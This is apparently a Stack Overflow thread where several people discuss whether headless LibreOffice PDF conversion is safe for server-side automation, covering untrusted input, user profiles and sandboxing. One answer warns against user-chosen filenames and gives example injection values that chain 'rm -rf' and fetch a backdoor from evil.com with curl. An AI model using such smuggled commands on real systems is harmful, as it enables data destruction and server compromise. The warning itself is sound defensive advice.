12

I have my-template.docx that I convert into my-report.docx with OpenXml and then my-report.pdf with:

soffice --headless --convert-to pdf my-report.docx

I feel compelled to say that this functionality is very much appreciated . Anyways, one thing I can't find an answer to here (cli documentation) or here (comparison with MS Office) or my other post is if LibreOffice is safe for automation.

See this post from Microsoft that says not to use Word for server-side automation. That begs the question of whether LibreOffice is safe for server side automation? Basically I will be using C# to run soffice --headless --convert-to pdf my-report.docx anytime a request for a report comes in.

Is that safe?

*assume nobody else is trying to read my-report.docx

user875234
  • 2,399
  • 7
  • 31
  • 49

3 Answers3

17

As long as you control the content of the input file there should be no issue at all. Keep in mind that LibreOffice only allows one active instance per user profile, so if you want to be able to process more than one document in parallel you should use separate user profiles.

If you have untrusted input data the whole question becomes more complex to answer. While there has been quite a bit of work securing the code base, a desktop office suite is still a huge piece of software with a lot of potential attack surfaces (macros, remote data connections, old binary file formats, ...). While all of these features should be blocked in headless operations you have to trust that there are no undiscovered bugs.

The remaining points in the Microsoft article should not apply to LibreOffice. The headless mode is designed not to interact with the desktop environment and except for the user profile does not change anything in the system or depends on any desktop related piece. The default builds will still depend on some GUI libraries but if that actually becomes a problem there is an experimental build option to build a non-GUI version without any X/GTK/KDE library dependencies.

As an alternative there are also a few projects built on top of LibreOffice that try to make converting documents even easier and might actually be faster by pre-forking or using the LibreOfficeKit API. Two examples are JODConverter or unoconv.

moggi
  • 1,466
  • 4
  • 18
  • 29
  • does this theory applicable to the other programmes? like inskape(pdf to png) – Oshan Wisumperuma Mar 17 '19 at 02:37
  • 1
    The idea is similar but you would need to look at all points again. I just know the LibreOffice source code well enough to judge these points for LibreOffice. – moggi Mar 19 '19 at 14:02
  • This answer has a lot good info. I am using the portable version in headless so no install needed. I am running into the issue of not being able to convert multiple docx to pdf at once which your answer reveals(any source info on this?). How do I get around this in the portable version running on my iis server? – Irish Redneck Aug 23 '22 at 00:28
5

I have my-template.docx that I convert into my-report.docx with OpenXml and then my-report.pdf with:

soffice --headless --convert-to pdf my-report.docx

TL;DR in your case, it is.

What you're almost certainly doing is replacing some information inside the DOCX and using LibreOffice to have a "nice" conversion to PDF. While there are other tools that might do something like that (wkhtmltopdf for example), you're not using LibreOffice in any vulnerable way that I'm aware of (and I use LibreOffice like you do too):

  • the source document is under your control (no user-entered macros, remote file inclusions, remote data sources or other shenanigans)
  • the values you inject into the DOCX are also under your control - or are they? - and do not contain user input such as HREF targets that might make it into the PDF.
  • LibreOffice in headless mode does not expose any open ports or interfaces that might be exploited by a third process.

Possible but unlikely "exploit" avenues that might remain:

  • the destination file. I expect that even if you asked the user for the name of the resulting file, still you would do something like create a unique pdf filename, and send the user name as Content-Disposition: attachment; filename="thatswhatshesaid";, not using the user's filename on your filesystem and risking saving data to byebye.pdf && rm -rf ... (or irrelevant.pdf\x00; curl -o index2.php http://evil.com/backdoor.php or...), sending back a Location: downloads/whatshesaid.pdf.
  • very large values in the XML output that might trigger anomalous behaviour. Chances of this happening, and of doing so in any meaningful (for the attacker) way, are negligible, but still, nothing's wrong with checking.
LSerni
  • 55,617
  • 10
  • 65
  • 107
3

Moggi's answer is a great one. The only things I can add are:

  1. you can consider improving the security by running the libreoffice (soffice) instance in a sandbox of some sort (eg Docker). That means that should something rogue happen, the sandbox can limit the potential damage,
  2. launching the process each time can be an overhead if your site becomes busy generating PDFs. If that happens, using a layer up (like JODConverter) can launch once use many times.

I hope that helps.

Paul Jowett
  • 6,513
  • 2
  • 24
  • 19